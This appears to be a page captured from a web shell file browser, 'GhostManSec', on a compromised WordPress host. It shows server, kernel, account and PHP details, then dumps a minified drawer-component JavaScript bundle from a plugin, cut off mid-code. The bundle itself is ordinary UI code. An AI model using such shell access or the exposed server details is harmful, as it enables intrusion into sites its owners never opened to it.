GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/Bd_FSJ-T.431dca.js
import{c as ht,f as wt,R as r,ax as gt,ay as pt,az as vt,aA as bt,aB as yt,aC as Dt,aD as Et,r as J,aE as St,j as V,b as te}from"./0rvbeSEg.431dca.js";/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Zt=ht("Loader",[["path",{d:"M12 2v4",key:"3427ic"}],["path",{d:"m16.2 7.8 2.9-2.9",key:"r700ao"}],["path",{d:"M18 12h4",key:"wj9ykh"}],["path",{d:"m16.2 16.2 2.9 2.9",key:"1bxg5t"}],["path",{d:"M12 18v4",key:"jadmvz"}],["path",{d:"m4.9 19.1 2.9-2.9",key:"bwix9q"}],["path",{d:"M2 12h4",key:"j09sii"}],["path",{d:"m4.9 4.9 2.9 2.9",key:"giyufr"}]]);function en(){return wt("license/detail")}function Tt(e){if(typeof document>"u")return;let n=document.head||document.getElementsByTagName("head")[0],t=document.createElement("style");t.type="text/css",n.appendChild(t),t.styleSheet?t.styleSheet.cssText=e:t.appendChild(document.createTextNode(e))}const ze=r.createContext({drawerRef:{current:null},overlayRef:{current:null},scaleBackground:()=>{},onPress:()=>{},onRelease:()=>{},onDrag:()=>{},onNestedDrag:()=>{},onNestedOpenChange:()=>{},onNestedRelease:()=>{},openProp:void 0,dismissible:!1,handleOnly:!1,isOpen:!1,isDragging:!1,keyboardIsOpen:{current:!1},snapPointsOffset:null,snapPoints:null,modal:!1,shouldFade:!1,activeSnapPoint:null,onOpenChange:()=>{},setActiveSnapPoint:()=>{},visible:!1,closeDrawer:()=>{},setVisible:()=>{},direction:"bottom"}),ge=()=>{const e=r.useContext(ze);if(!e)throw new Error("useDrawerContext must be used within a Drawer.Root");return e};Tt("[vaul-drawer]{touch-action:none;will-change:transform;transition:transform .5s cubic-bezier(.32, .72, 0, 1)}[vaul-drawer][vaul-drawer-direction=bottom]{transform:translate3d(0,100%,0)}[vaul-drawer][vaul-drawer-direction=top]{transform:translate3d(0,-100%,0)}[vaul-drawer][vaul-drawer-direction=left]{transform:translate3d(-100%,0,0)}[vaul-drawer][vaul-drawer-direction=right]{transform:translate3d(100%,0,0)}.vaul-dragging .vaul-scrollable [vault-drawer-direction=top]{overflow-y:hidden!important}.vaul-dragging .vaul-scrollable [vault-drawer-direction=bottom]{overflow-y:hidden!important}.vaul-dragging .vaul-scrollable [vault-drawer-direction=left]{overflow-x:hidden!important}.vaul-dragging .vaul-scrollable [vault-drawer-direction=right]{overflow-x:hidden!important}[vaul-drawer][vaul-drawer-visible=true][vaul-drawer-direction=top]{transform:translate3d(0,var(--snap-point-height,0),0)}[vaul-drawer][vaul-drawer-visible=true][vaul-drawer-direction=bottom]{transform:translate3d(0,var(--snap-point-height,0),0)}[vaul-drawer][vaul-drawer-visible=true][vaul-drawer-direction=left]{transform:translate3d(var(--snap-point-height,0),0,0)}[vaul-drawer][vaul-drawer-visible=true][vaul-drawer-direction=right]{transform:translate3d(var(--snap-point-height,0),0,0)}[vaul-overlay]{opacity:0;transition:opacity .5s cubic-bezier(.32, .72, 0, 1)}[vaul-overlay][vaul-drawer-visible=true]{opacity:1}[vaul-drawer]::after{content:'';position:absolute;background:inherit;background-color:inherit}[vaul-drawer][vaul-drawer-direction=top]::after{top:initial;bottom:100%;left:0;right:0;height:200%}[vaul-drawer][vaul-drawer-direction=bottom]::after{top:100%;bottom:initial;left:0;right:0;height:200%}[vaul-drawer][vaul-drawer-direction=left]::after{left:initial;right:100%;top:0;bottom:0;width:200%}[vaul-drawer][vaul-drawer-direction=right]::after{left:100%;right:initial;top:0;bottom:0;width:200%}[vaul-handle]{display:block;position:relative;opacity:.8;margin-left:auto;margin-right:auto;height:5px;width:56px;border-radius:1rem;touch-action:pan-y;cursor:grab}[vaul-handle]:active,[vaul-handle]:hover{opacity:1}[vaul-handle]:active{cursor:grabbing}[vaul-handle-hitarea]{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:max(100%,2.75rem);height:max(100%,2.75rem);touch-action:inherit}[vaul-overlay][vaul-snap-points=true]:not([vaul-snap-points-overlay=true]):not([data-state=closed]){opacity:0}[vaul-overlay][vaul-snap-points-overlay=true]:not([vaul-drawer-visible=false]){opacity:1}@media (hover:hover) and (pointer:fine){[vaul-drawer]{user-select:none}}@media (pointer:fine){[vaul-handle-hitarea]:{width:100%;height:100%}}");const xt=typeof window<"u"?J.useLayoutEffect:J.useEffect;function Re(...e){return(...n)=>{for(let t of e)typeof t=="function"&&t(...n)}}function Rt(){return Oe(/^Mac/)}function $t(){return Oe(/^iPhone/)}function Ot(){return Oe(/^iPad/)||Rt()&&navigator.maxTouchPoints>1}function Ve(){return $t()||Ot()}function Oe(e){return typeof window<"u"&&window.navigator!=null?e.test(window.navigator.platform):void 0}const Se=typeof document<"u"&&window.visualViewport;function je(e){let n=window.getComputedStyle(e);return/(auto|scroll)/.test(n.overflow+n.overflowX+n.overflowY)}function We(e){for(je(e)&&(e=e.parentElement);e&&!je(e);)e=e.parentElement;return e||document.scrollingElement||document.documentElement}const Ct=new Set(["checkbox","radio","range","color","file","image","button","submit","reset"]);let me=0,Te;function Nt(e={}){let{isDisabled:n}=e;xt(()=>{if(!n)return me++,me===1&&(Ve()?Te=Mt():Te=At()),()=>{me--,me===0&&Te()}},[n])}function At(){return Re(Be(document.documentElement,"paddingRight",`${window.innerWidth-document.documentElement.clientWidth}px`))}function Mt(){let e,n=0,t=g=>{e=We(g.target),!(e===document.documentElement&&e===document.body)&&(n=g.changedTouches[0].pageY)},a=g=>{if(!e||e===document.documentElement||e===document.body){g.preventDefault();return}let f=g.changedTouches[0].pageY,c=e.scrollTop,I=e.scrollHeight-e.clientHeight;I!==0&&((c<=0&&f>n||c>=I&&f<n)&&g.preventDefault(),n=f)},i=g=>{let f=g.target;$e(f)&&f!==document.activeElement&&(g.preventDefault(),f.style.transform="translateY(-2000px)",f.focus(),requestAnimationFrame(()=>{f.style.transform=""}))},l=g=>{let f=g.target;$e(f)&&(f.style.transform="translateY(-2000px)",requestAnimationFrame(()=>{f.style.transform="",Se&&(Se.height<window.innerHeight?requestAnimationFrame(()=>{ke(f)}):Se.addEventListener("resize",()=>ke(f),{once:!0}))}))},u=()=>{window.scrollTo(0,0)},h=window.pageXOffset,y=window.pageYOffset,T=Re(Be(document.documentElement,"paddingRight",`${window.innerWidth-document.documentElement.clientWidth}px`));window.scrollTo(0,0);let A=Re(ae(document,"touchstart",t,{passive:!1,capture:!0}),ae(document,"touchmove",a,{passive:!1,capture:!0}),ae(document,"touchend",i,{passive:!1,capture:!0}),ae(document,"focus",l,!0),ae(window,"scroll",u));return()=>{T(),A(),window.scrollTo(h,y)}}function Be(e,n,t){let a=e.style[n];return e.style[n]=t,()=>{e.style[n]=a}}function ae(e,n,t,a){return e.addEventListener(n,t,a),()=>{e.removeEventListener(n,t,a)}}function ke(e){let n=document.scrollingElement||document.documentElement;for(;e&&e!==n;){let t=We(e);if(t!==document.documentElement&&t!==document.body&&t!==e){let a=t.getBoundingClientRect().top,i=e.getBoundingClientRect().top,l=e.getBoundingClientRect().bottom;const u=t.getBoundingClientRect().bottom;l>u&&(t.scrollTop+=i-a)}e=t.parentElement}}function $e(e){return e instanceof HTMLInputElement&&!Ct.has(e.type)||e instanceof HTMLTextAreaElement||e instanceof HTMLElement&&e.isContentEditable}function It(e,n){typeof e=="function"?e(n):e!=null&&(e.current=n)}function Ht(...e){return n=>e.forEach(t=>It(t,n))}function Fe(...e){return J.useCallback(Ht(...e),e)}let le=null;function Pt({isOpen:e,modal:n,nested:t,hasBeenOpened:a,preventScrollRestoration:i,noBodyStyles:l}){const[u,h]=r.useState(()=>typeof window<"u"?window.location.href:""),y=r.useRef(0),T=r.useCallback(()=>{if(le===null&&e&&!l){le={position:document.body.style.position,top:document.body.style.top,left:document.body.style.left,height:document.body.style.height,right:"unset"};const{scrollX:g,innerHeight:f}=window;document.body.style.setProperty("position","fixed","important"),Object.assign(document.body.style,{top:`${-y.current}px`,left:`${-g}px`,right:"0px",height:"auto"}),window.setTimeout(()=>window.requestAnimationFrame(()=>{const c=f-window.innerHeight;c&&y.current>=f&&(document.body.style.top=`${-(y.current+c)}px`)}),300)}},[e]),A=r.useCallback(()=>{if(le!==null&&!l){const g=-parseInt(document.body.style.top,10),f=-parseInt(document.body.style.left,10);Object.assign(document.body.style,le),window.requestAnimationFrame(()=>{if(i&&u!==window.location.href){h(window.location.href);return}window.scrollTo(f,g)}),le=null}},[u]);return r.useEffect(()=>{function g(){y.current=window.scrollY}return g(),window.addEventListener("scroll",g),()=>{window.removeEventListener("scroll",g)}},[]),r.useEffect(()=>{t||!a||(e?(!window.matchMedia("(display-mode: standalone)").matches&&T(),n||window.setTimeout(()=>{A()},500)):A())},[e,a,u,n,t,T,A]),{restorePositionSetting:A}}const Ye=new WeakMap;function E(e,n,t=!1){if(!e||!(e instanceof HTMLElement))return;let a={};Object.entries(n).forEach(([i,l])=>{if(i.startsWith("--")){e.style.setProperty(i,l);return}a[i]=e.style[i],e.style[i]=l}),!t&&Ye.set(e,a)}function he(e,n){if(!e||!(e instanceof HTMLElement))return;let t=Ye.get(e);t&&(n?e.style[n]=t[n]:Object.entries(t).forEach(([a,i])=>{e.style[a]=i}))}const N=e=>{switch(e){case"top":case"bottom":return!0;case"left":case"right":return!1;default:return e}};function we(e,n){if(!e)return null;const t=window.getComputedStyle(e),a=t.transform||t.webkitTransform||t.mozTransform;let i=a.match(/^matrix3d\((.+)\)$/);return i?parseFloat(i[1].split(", ")[N(n)?13:12]):(i=a.match(/^matrix\((.+)\)$/),i?parseFloat(i[1].split(", ")[N(n)?5:4]):null)}function Lt(e){return 8*(Math.log(e+1)-2)}const D={DURATION:.5,EASE:[.32,.72,0,1]},Xe=.4;function qe(e){const n=r.useRef(e);return r.useEffect(()=>{n.current=e}),r.useMemo(()=>(...t)=>n.current==null?void 0:n.current.call(n,...t),[])}function jt({defaultProp:e,onChange:n}){const t=r.useState(e),[a]=t,i=r.useRef(a),l=qe(n);return r.useEffect(()=>{i.current!==a&&(l(a),i.current=a)},[a,i,l]),t}function kt({prop:e,defaultProp:n,onChange:t=()=>{}}){const[a,i]=jt({defaultProp:n,onChange:t}),l=e!==void 0,u=l?e:a,h=qe(t),y=r.useCallback(T=>{if(l){const g=typeof T=="function"?T(e):T;g!==e&&h(g)}else i(T)},[l,e,i,h]);return[u,y]}function Ut({activeSnapPointProp:e,setActiveSnapPointProp:n,snapPoints:t,drawerRef:a,overlayRef:i,fadeFromIndex:l,onSnapPointChange:u,direction:h="bottom"}){const[y,T]=kt({prop:e,defaultProp:t==null?void 0:t[0],onChange:n}),A=r.useMemo(()=>y===(t==null?void 0:t[t.length-1])||null,[t,y]),g=t&&t.length>0&&(l||l===0)&&!Number.isNaN(l)&&t[l]===y||!t,f=r.useMemo(()=>t==null?void 0:t.findIndex(v=>v===y),[t,y]),c=r.useMemo(()=>{var v;return(v=t==null?void 0:t.map(o=>{const b=typeof window<"u",$=typeof o=="string";let O=0;if($&&(O=parseInt(o,10)),N(h)){const d=$?O:b?o*window.innerHeight:0;return b?h==="bottom"?window.innerHeight-d:-window.innerHeight+d:d}const x=$?O:b?o*window.innerWidth:0;return b?h==="right"?window.innerWidth-x:-window.innerWidth+x:x}))!=null?v:[]},[t]),I=r.useMemo(()=>f!==null?c==null?void 0:c[f]:null,[c,f]),M=r.useCallback(v=>{var o;const b=(o=c==null?void 0:c.findIndex($=>$===v))!=null?o:null;u(b),E(a.current,{transition:`transform ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,transform:N(h)?`translate3d(0, ${v}px, 0)`:`translate3d(${v}px, 0, 0)`}),c&&b!==c.length-1&&b!==l?E(i.current,{transition:`opacity ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,opacity:"0"}):E(i.current,{transition:`opacity ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,opacity:"1"}),T(b!==null?t==null?void 0:t[b]:null)},[a.current,t,c,l,i,T]);r.useEffect(()=>{if(y||e){var v;const o=(v=t==null?void 0:t.findIndex(b=>b===e||b===y))!=null?v:-1;c&&o!==-1&&typeof c[o]=="number"&&M(c[o])}},[y,e,t,c,M]);function Y({draggedDistance:v,closeDrawer:o,velocity:b,dismissible:$}){if(l===void 0)return;const O=h==="bottom"||h==="right"?(I??0)-v:(I??0)+v,x=f===l-1,d=f===0,H=v>0;if(x&&E(i.current,{transition:`opacity ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`}),b>2&&!H){$?o():M(c[0]);return}if(b>2&&H&&c&&t){M(c[t.length-1]);return}const _=c==null?void 0:c.reduce((P,W)=>typeof P!="number"||typeof W!="number"?P:Math.abs(W-O)<Math.abs(P-O)?W:P),L=N(h)?window.innerHeight:window.innerWidth;if(b>Xe&&Math.abs(v)<L*.4){const P=H?1:-1;if(P>0&&A){M(c[t.length-1]);return}if(d&&P<0&&$&&o(),f===null)return;M(c[f+P]);return}M(_)}function k({draggedDistance:v}){if(I===null)return;const o=h==="bottom"||h==="right"?I-v:I+v;(h==="bottom"||h==="right")&&o<c[c.length-1]||(h==="top"||h==="left")&&o>c[c.length-1]||E(a.current,{transform:N(h)?`translate3d(0, ${o}px, 0)`:`translate3d(${o}px, 0, 0)`})}function B(v,o){if(!t||typeof f!="number"||!c||l===void 0)return null;const b=f===l-1;if(f>=l&&o)return 0;if(b&&!o)return 1;if(!g&&!b)return null;const O=b?f+1:f-1,x=b?c[O]-c[O-1]:c[O+1]-c[O],d=v/Math.abs(x);return b?1-d:d}return{isLastSnapPoint:A,activeSnapPoint:y,shouldFade:g,getPercentageDragged:B,setActiveSnapPoint:T,activeSnapPointIndex:f,onRelease:Y,onDrag:k,snapPointsOffset:c}}const _t=.25,zt=100,Ue=8,K=16,_e=26,xe="vaul-dragging";function Ge({open:e,onOpenChange:n,children:t,shouldScaleBackground:a,onDrag:i,onRelease:l,snapPoints:u,nested:h=!1,setBackgroundColorOnScale:y=!0,closeThreshold:T=_t,scrollLockTimeout:A=zt,dismissible:g=!0,handleOnly:f=!1,fadeFromIndex:c=u&&u.length-1,activeSnapPoint:I,setActiveSnapPoint:M,fixed:Y,modal:k=!0,onClose:B,noBodyStyles:v,direction:o="bottom",preventScrollRestoration:b=!0,disablePreventScroll:$=!1}){var O;const[x=!1,d]=r.useState(!1),[H,_]=r.useState(!1),[L,P]=r.useState(!1),[W,se]=r.useState(!1),[X,pe]=r.useState(!1),[et,Ce]=r.useState(!1),q=r.useRef(null),ue=r.useRef(null),ve=r.useRef(null),be=r.useRef(null),ne=r.useRef(null),re=r.useRef(!1),ye=r.useRef(null),De=r.useRef(0),Q=r.useRef(!1),Ne=r.useRef(0),m=r.useRef(null),Ae=r.useRef(((O=m.current)==null?void 0:O.getBoundingClientRect().height)||0),Ee=r.useRef(0),tt=r.useCallback(s=>{u&&s===ie.length-1&&(ue.current=new Date)},[]),{activeSnapPoint:nt,activeSnapPointIndex:oe,setActiveSnapPoint:Me,onRelease:rt,snapPointsOffset:ie,onDrag:ot,shouldFade:Ie,getPercentageDragged:it}=Ut({snapPoints:u,activeSnapPointProp:I,setActiveSnapPointProp:M,drawerRef:m,fadeFromIndex:c,overlayRef:q,onSnapPointChange:tt,direction:o});Nt({isDisabled:!x||X||!k||et||!H||$});const{restorePositionSetting:at}=Pt({isOpen:x,modal:k,nested:h,hasBeenOpened:H,preventScrollRestoration:b,noBodyStyles:v});function Z(){return(window.innerWidth-_e)/window.innerWidth}function lt(s){var w;!g&&!u||m.current&&!m.current.contains(s.target)||(Ae.current=((w=m.current)==null?void 0:w.getBoundingClientRect().height)||0,pe(!0),ve.current=new Date,Ve()&&window.addEventListener("touchend",()=>re.current=!1,{once:!0}),s.target.setPointerCapture(s.pointerId),De.current=N(o)?s.clientY:s.clientX)}function He(s,w){var S;let p=s;const R=(S=window.getSelection())==null?void 0:S.toString(),C=m.current?we(m.current,o):null,j=new Date;if(p.hasAttribute("data-vaul-no-drag")||p.closest("[data-vaul-no-drag]"))return!1;if(o==="right"||o==="left")return!0;if(ue.current&&j.getTime()-ue.current.getTime()<500)return!1;if(C!==null&&(o==="bottom"?C>0:C<0))return!0;if(R&&R.length>0)return!1;if(ne.current&&j.getTime()-ne.current.getTime()<A&&C===0||w)return ne.current=j,!1;for(;p;){if(p.scrollHeight>p.clientHeight){if(p.scrollTop!==0)return ne.current=new Date,!1;if(p.getAttribute("role")==="dialog")return!0}p=p.parentNode}return!0}function st(s){if(m.current&&X){const w=o==="bottom"||o==="right"?1:-1,S=(De.current-(N(o)?s.clientY:s.clientX))*w,p=S>0,R=u&&!g&&!p;if(R&&oe===0)return;const C=Math.abs(S),j=document.querySelector("[vaul-drawer-wrapper]");let z=C/Ae.current;const F=it(C,p);if(F!==null&&(z=F),R&&z>=1||!re.current&&!He(s.target,p))return;if(m.current.classList.add(xe),re.current=!0,E(m.current,{transition:"none"}),E(q.current,{transition:"none"}),u&&ot({draggedDistance:S}),p&&!u){const G=Lt(S),fe=Math.min(G*-1,0)*w;E(m.current,{transform:N(o)?`translate3d(0, ${fe}px, 0)`:`translate3d(${fe}px, 0, 0)`});return}const de=1-z;if((Ie||c&&oe===c-1)&&(i==null||i(s,z),E(q.current,{opacity:`${de}`,transition:"none"},!0)),j&&q.current&&a){const G=Math.min(Z()+z*(1-Z()),1),fe=8-z*8,Le=Math.max(0,14-z*14);E(j,{borderRadius:`${fe}px`,transform:N(o)?`scale(${G}) translate3d(0, ${Le}px, 0)`:`scale(${G}) translate3d(${Le}px, 0, 0)`,transition:"none"},!0)}if(!u){const G=C*w;E(m.current,{transform:N(o)?`translate3d(0, ${G}px, 0)`:`translate3d(${G}px, 0, 0)`})}}}r.useEffect(()=>()=>{ce(!1),at()},[]),r.useEffect(()=>{var s;function w(){if(!m.current)return;const S=document.activeElement;if($e(S)||Q.current){var p;const R=((p=window.visualViewport)==null?void 0:p.height)||0;let C=window.innerHeight-R;const j=m.current.getBoundingClientRect().height||0;Ee.current||(Ee.current=j);const z=m.current.getBoundingClientRect().top;if(Math.abs(Ne.current-C)>60&&(Q.current=!Q.current),u&&u.length>0&&ie&&oe){const F=ie[oe]||0;C+=F}if(Ne.current=C,j>R||Q.current){const F=m.current.getBoundingClientRect().height;let de=F;F>R&&(de=R-_e),Y?m.current.style.height=`${F-Math.max(C,0)}px`:m.current.style.height=`${Math.max(de,R-z)}px`}else m.current.style.height=`${Ee.current}px`;u&&u.length>0&&!Q.current?m.current.style.bottom="0px":m.current.style.bottom=`${Math.max(C,0)}px`}}return(s=window.visualViewport)==null||s.addEventListener("resize",w),()=>{var S;return(S=window.visualViewport)==null?void 0:S.removeEventListener("resize",w)}},[oe,u,ie]);function ee(){m.current&&(ut(),B==null||B(),E(m.current,{transform:N(o)?`translate3d(0, ${o==="bottom"?"100%":"-100%"}, 0)`:`translate3d(${o==="right"?"100%":"-100%"}, 0, 0)`,transition:`transform ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`}),E(q.current,{opacity:"0",transition:`opacity ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`}),ce(!1),setTimeout(()=>{P(!1),d(!1)},300),setTimeout(()=>{u&&Me(u[0])},D.DURATION*1e3))}r.useEffect(()=>{if(!x&&a){const s=setTimeout(()=>{he(document.body)},200);return()=>clearTimeout(s)}},[x,a]),r.useLayoutEffect(()=>{e?(d(!0),_(!0)):ee()},[e]),r.useEffect(()=>{W&&(n==null||n(x))},[x]),r.useEffect(()=>{se(!0)},[]);function Pe(){if(!m.current)return;const s=document.querySelector("[vaul-drawer-wrapper]"),w=we(m.current,o);E(m.current,{transform:"translate3d(0, 0, 0)",transition:`transform ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`}),E(q.current,{transition:`opacity ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,opacity:"1"}),a&&w&&w>0&&x&&E(s,{borderRadius:`${Ue}px`,overflow:"hidden",...N(o)?{transform:`scale(${Z()}) translate3d(0, calc(env(safe-area-inset-top) + 14px), 0)`,transformOrigin:"top"}:{transform:`scale(${Z()}) translate3d(calc(env(safe-area-inset-top) + 14px), 0, 0)`,transformOrigin:"left"},transitionProperty:"transform, border-radius",transitionDuration:`${D.DURATION}s`,transitionTimingFunction:`cubic-bezier(${D.EASE.join(",")})`},!0)}function ut(){!X||!m.current||(m.current.classList.remove(xe),re.current=!1,pe(!1),be.current=new Date)}function ct(s){if(!X||!m.current)return;m.current.classList.remove(xe),re.current=!1,pe(!1),be.current=new Date;const w=we(m.current,o);if(!He(s.target,!1)||!w||Number.isNaN(w)||ve.current===null)return;const S=be.current.getTime()-ve.current.getTime(),p=De.current-(N(o)?s.clientY:s.clientX),R=Math.abs(p)/S;if(R>.05&&(Ce(!0),setTimeout(()=>{Ce(!1)},200)),u){rt({draggedDistance:p*(o==="bottom"||o==="right"?1:-1),closeDrawer:ee,velocity:R,dismissible:g}),l==null||l(s,!0);return}if(o==="bottom"||o==="right"?p>0:p<0){Pe(),l==null||l(s,!0);return}if(R>Xe){ee(),l==null||l(s,!1);return}var C;const j=Math.min((C=m.current.getBoundingClientRect().height)!=null?C:0,window.innerHeight);if(w>=j*T){ee(),l==null||l(s,!1);return}l==null||l(s,!0),Pe()}r.useEffect(()=>{x&&(E(document.documentElement,{scrollBehavior:"auto"}),ue.current=new Date,ce(!0))},[x]),r.useEffect(()=>{if(m.current&&L){var s;const w=m==null||(s=m.current)==null?void 0:s.querySelectorAll("*");w==null||w.forEach(S=>{const p=S;(p.scrollHeight>p.clientHeight||p.scrollWidth>p.clientWidth)&&p.classList.add("vaul-scrollable")})}},[L]);function ce(s){const w=document.querySelector("[vaul-drawer-wrapper]");!w||!a||(s?(y&&(v||(E(document.body,{background:document.body.style.backgroundColor||document.body.style.background}),E(document.body,{background:"black"},!0))),E(w,{borderRadius:`${Ue}px`,overflow:"hidden",...N(o)?{transform:`scale(${Z()}) translate3d(0, calc(env(safe-area-inset-top) + 14px), 0)`,transformOrigin:"top"}:{transform:`scale(${Z()}) translate3d(calc(env(safe-area-inset-top) + 14px), 0, 0)`,transformOrigin:"left"},transitionProperty:"transform, border-radius",transitionDuration:`${D.DURATION}s`,transitionTimingFunction:`cubic-bezier(${D.EASE.join(",")})`})):(he(w,"overflow"),he(w,"transform"),he(w,"borderRadius"),E(w,{transitionProperty:"transform, border-radius",transitionDuration:`${D.DURATION}s`,transitionTimingFunction:`cubic-bezier(${D.EASE.join(",")})`})))}function dt(s){const w=s?(window.innerWidth-K)/window.innerWidth:1,S=s?-K:0;ye.current&&window.clearTimeout(ye.current),E(m.current,{transition:`transform ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,transform:`scale(${w}) translate3d(0, ${S}px, 0)`}),!s&&m.current&&(ye.current=setTimeout(()=>{const p=we(m.current,o);E(m.current,{transition:"none",transform:N(o)?`translate3d(0, ${p}px, 0)`:`translate3d(${p}px, 0, 0)`})},500))}function ft(s,w){if(w<0)return;const S=N(o)?window.innerHeight:window.innerWidth,p=(S-K)/S,R=p+w*(1-p),C=-K+w*K;E(m.current,{transform:N(o)?`scale(${R}) translate3d(0, ${C}px, 0)`:`scale(${R}) translate3d(${C}px, 0, 0)`,transition:"none"})}function mt(s,w){const S=N(o)?window.innerHeight:window.innerWidth,p=w?(S-K)/S:1,R=w?-K:0;w&&E(m.current,{transition:`transform ${D.DURATION}s cubic-bezier(${D.EASE.join(",")})`,transform:N(o)?`scale(${p}) translate3d(0, ${R}px, 0)`:`scale(${p}) translate3d(${R}px, 0, 0)`})}return r.createElement(St,{modal:k,onOpenChange:s=>{if(e!==void 0){n==null||n(s);return}s?(_(!0),d(s)):ee()},open:x},r.createElement(ze.Provider,{value:{visible:L,activeSnapPoint:nt,snapPoints:u,setActiveSnapPoint:Me,drawerRef:m,overlayRef:q,scaleBackground:ce,onOpenChange:n,onPress:lt,setVisible:P,onRelease:ct,onDrag:st,dismissible:g,handleOnly:f,isOpen:x,isDragging:X,shouldFade:Ie,closeDrawer:ee,onNestedDrag:ft,onNestedOpenChange:dt,onNestedRelease:mt,keyboardIsOpen:Q,openProp:e,modal:k,snapPointsOffset:ie,direction:o}},t))}const Vt=250,Wt=120,Ke=r.forwardRef(function({preventCycle:e=!1,children:n,...t},a){const{visible:i,closeDrawer:l,isDragging:u,snapPoints:h,activeSnapPoint:y,setActiveSnapPoint:T,dismissible:A,handleOnly:g,onPress:f,onDrag:c}=ge(),I=r.useRef(null),M=r.useRef(!1);function Y(){if(M.current){v();return}window.setTimeout(()=>{k()},Wt)}function k(){if(u||e||M.current){v();return}if(v(),(!h||h.length===0)&&A){l();return}if(y===h[h.length-1]&&A){l();return}const b=h.findIndex(O=>O===y);if(b===-1)return;const $=h[b+1];T($)}function B(){I.current=window.setTimeout(()=>{M.current=!0},Vt)}function v(){window.clearTimeout(I.current),M.current=!1}return r.createElement("div",{onClick:Y,onDoubleClick:()=>{M.current=!0,l()},onPointerCancel:v,onPointerDown:o=>{g&&f(o),B()},onPointerMove:o=>{g&&c(o)},ref:a,"vaul-drawer-visible":i?"true":"false","vaul-handle":"","aria-hidden":"true",...t},r.createElement("span",{"vaul-handle-hitarea":"","aria-hidden":"true"},n))});Ke.displayName="Drawer.Handle";const Je=r.forwardRef(function({children:e,...n},t){const{overlayRef:a,snapPoints:i,onRelease:l,shouldFade:u,isOpen:h,visible:y}=ge(),T=Fe(t,a),A=i&&i.length>0;return r.createElement(gt,{onMouseUp:l,ref:T,"vaul-drawer-visible":y?"true":"false","vaul-overlay":"","vaul-snap-points":h&&A?"true":"false","vaul-snap-points-overlay":h&&u?"true":"false",...n})});Je.displayName="Drawer.Overlay";const Qe=r.forwardRef(function({onOpenAutoFocus:e,onPointerDownOutside:n,onAnimationEnd:t,style:a,...i},l){const{drawerRef:u,onPress:h,onRelease:y,onDrag:T,dismissible:A,keyboardIsOpen:g,snapPointsOffset:f,visible:c,closeDrawer:I,modal:M,openProp:Y,onOpenChange:k,setVisible:B,handleOnly:v,direction:o}=ge(),b=Fe(l,u),$=r.useRef(null),O=r.useRef(!1),x=(d,H,_=0)=>{if(O.current)return!0;const L=Math.abs(d.y),P=Math.abs(d.x),W=P>L,se=["bottom","right"].includes(H)?1:-1;if(H==="left"||H==="right"){if(!(d.x*se<0)&&P>=0&&P<=_)return W}else if(!(d.y*se<0)&&L>=0&&L<=_)return!W;return O.current=!0,!0};return r.useEffect(()=>{B(!0)},[]),r.createElement(pt,{"vaul-drawer":"","vaul-drawer-direction":o,"vaul-drawer-visible":c?"true":"false",...i,ref:b,style:f&&f.length>0?{"--snap-point-height":`${f[0]}px`,...a}:a,onOpenAutoFocus:d=>{if(e)e(d);else{var H;d.preventDefault(),(H=u.current)==null||H.focus()}},onPointerDown:d=>{v||(i.onPointerDown==null||i.onPointerDown.call(i,d),$.current={x:d.clientX,y:d.clientY},h(d))},onPointerDownOutside:d=>{if(n==null||n(d),!M||d.defaultPrevented){d.preventDefault();return}g.current&&(g.current=!1),d.preventDefault(),k==null||k(!1),!(!A||Y!==void 0)&&I()},onFocusOutside:d=>{if(!M){d.preventDefault();return}},onEscapeKeyDown:d=>{if(!M){d.preventDefault();return}},onPointerMove:d=>{if(v||(i.onPointerMove==null||i.onPointerMove.call(i,d),!$.current))return;const H=d.clientY-$.current.y,_=d.clientX-$.current.x,L=d.pointerType==="touch"?10:2;x({x:_,y:H},o,L)?T(d):(Math.abs(_)>L||Math.abs(H)>L)&&($.current=null)},onPointerUp:d=>{i.onPointerUp==null||i.onPointerUp.call(i,d),$.current=null,O.current=!1,y(d)}})});Qe.displayName="Drawer.Content";function Bt({onDrag:e,onOpenChange:n,...t}){const{onNestedDrag:a,onNestedOpenChange:i,onNestedRelease:l}=ge();if(!a)throw new Error("Drawer.NestedRoot must be placed in another drawer");return r.createElement(Ge,{nested:!0,onClose:()=>{i(!1)},onDrag:(u,h)=>{a(u,h),e==null||e(u,h)},onOpenChange:u=>{u&&i(u),n==null||n(u)},onRelease:l,...t})}const U={Root:Ge,NestedRoot:Bt,Content:Qe,Handle:Ke,Overlay:Je,Trigger:vt,Portal:bt,Close:yt,Title:Dt,Description:Et},Ft=({shouldScaleBackground:e=!0,...n})=>V.jsx(U.Root,{shouldScaleBackground:e,...n});Ft.displayName="Drawer";const tn=U.Trigger,Yt=U.Portal,nn=U.Close,Ze=J.forwardRef(({className:e,...n},t)=>V.jsx(U.Overlay,{ref:t,className:te("fixed inset-0 z-50 bg-black/80",e),...n}));Ze.displayName=U.Overlay.displayName;const Xt=J.forwardRef(({className:e,children:n,...t},a)=>V.jsxs(Yt,{children:[V.jsx(Ze,{}),V.jsxs(U.Content,{ref:a,className:te("fixed inset-x-0 bottom-0 z-50 mt-24 flex h-auto flex-col rounded-t-[10px] border bg-background",e),...t,children:[V.jsx("div",{className:"mx-auto mt-4 h-2 w-[100px] rounded-full bg-muted"}),n]})]}));Xt.displayName="DrawerContent";const qt=({className:e,...n})=>V.jsx("div",{className:te("grid gap-1.5 p-4 text-center sm:text-left",e),...n});qt.displayName="DrawerHeader";const Gt=({className:e,...n})=>V.jsx("div",{className:te("mt-auto flex flex-col gap-2 p-4",e),...n});Gt.displayName="DrawerFooter";const Kt=J.forwardRef(({className:e,...n},t)=>V.jsx(U.Title,{ref:t,className:te("text-lg font-semibold leading-none 